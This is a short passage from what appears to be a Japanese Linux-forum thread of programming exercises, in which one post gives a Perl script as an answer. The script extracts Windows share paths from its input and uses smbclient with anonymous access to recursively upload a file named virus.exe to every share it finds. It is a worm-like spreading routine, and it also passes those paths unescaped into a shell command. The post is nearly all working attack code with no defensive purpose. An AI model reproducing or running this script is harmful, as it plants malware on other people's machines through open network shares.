【上達】私に課題を与えてください　問題集１巻目

【上達】私に課題を与えてください　問題集１巻目 at LINUX

54:login:Penguin
09/08/26 23:03:13 p7NCW5nO
>>53
じゃあ Perl の部分だけインデントします。

while (<>) {
　 # "\\マシン名\\フォルダ名"を抜き出す
　 if (/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/) {
　　 $h = $1;
　　 $h =~ tr{\\}{/};
　　 system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"");
　 }
}

次ページ

続きを表示

1を表示